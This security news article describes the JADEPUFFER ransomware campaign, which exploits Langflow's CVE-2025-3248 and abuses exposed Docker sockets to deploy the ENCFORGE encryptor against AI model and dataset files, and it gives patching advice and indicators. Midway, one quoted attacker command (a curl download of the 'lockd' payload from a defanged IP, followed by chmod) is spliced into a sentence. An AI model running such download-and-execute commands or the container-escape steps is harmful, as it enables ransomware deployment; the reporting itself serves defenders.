JADEPUFFER, an agentic ransomware operation, has evolved from database extortion into a targeted campaign against AI and machine-learning infrastructure.
The operator exploited the Langflow remote code execution flaw tracked as CVE-2025-3248 and deployed a purpose-built ransomware tool called ENCFORGE to encrypt model checkpoints, vector databases, training data, and AI deployment artifacts.
CVE-2025-3248 is a missing-authentication vulnerability affecting Langflow versions before 1.3.0.
It allows unauthenticated attackers to execute arbitrary Python code through the /api/v1/validate/code endpoint, giving attackers a direct foothold on exposed AI application servers.
Sysdig researchers previously observed JADEPUFFER using the flaw to perform reconnaissance, steal credentials, move laterally, and encrypt a downstream database.
The newer campaign shows a significant escalation: instead of relying on short-lived Python scripts and database encryption, the operator now deploys a compiled Go ransomware binary named lockd, also known as ENCFORGE.
Agentic Hacker Encrypts AI Infrastructure
The malware reportedly targets around 180 file extensions, including AI and ML-specific formats.
Its targets include PyTorch and TensorFlow checkpoints, Hugging Face SafeTensors, ONNX models, GGUF and GGML local LLM weights, FAISS vector indexes, Parquet datasets, NumPy arrays, Apache Arrow files, and DuckDB databases.
This targeting makes the campaign particularly damaging for organizations operating AI workloads. A conventional ransomware event can disrupt business files and databases.
curl -m30 -o /tmp/.sk/lockd http://34.153.223[.]102:9191/lockd && chmod +xHowever, encrypted model weights, fine-tuning outputs, proprietary datasets, and vector indexes may require weeks or months of rebuilding.
The loss becomes more severe when the training data and model artifacts are stored on the same host or shared storage location.
JADEPUFFER reportedly harvested cloud credentials, API keys, database connection strings, and other secrets after initial access.
It then checked for access to /var/run/docker.sock, a highly sensitive Docker API socket that can enable container escape and host-level control when exposed to an application container.
The operator adapted when it could not download the ransomware directly into the compromised container.
It built scripts that used the Docker socket, privileged containers, host PID namespaces, and mounted host filesystems to copy and execute the payload on the underlying host.
This behavior illustrates why Docker socket exposure should be treated as equivalent to privileged host access. ENCFORGE is a UPX-packed Go binary designed to encrypt files and append the .locked extension.
Researchers reported that it uses hybrid AES-256-CTR and RSA-2048 encryption, kills processes that may lock files, writes ransom notes, and can resume interrupted encryption activity.
The malware uses the extortion contact e78393397@proton.me, which links it to JADEPUFFER’s earlier activity.
Researchers also identified the project names encfile and keyforge, providing defenders with potential detection strings for endpoint and file-scanning rules, Sysdig said.
Security teams should immediately update Langflow to version 1.3.0 or later, as CVE-2025-3248 has been included in CISA’s Known Exploited Vulnerabilities catalog since May 2025.
Organizations that cannot patch immediately should block public access to the vulnerable validation endpoint and limit Langflow access through firewalls, VPNs, or private network controls.
Prevent critical incidents and financial loss with stronger proactive defense. Integrate a live threat feed from 15K SOCs
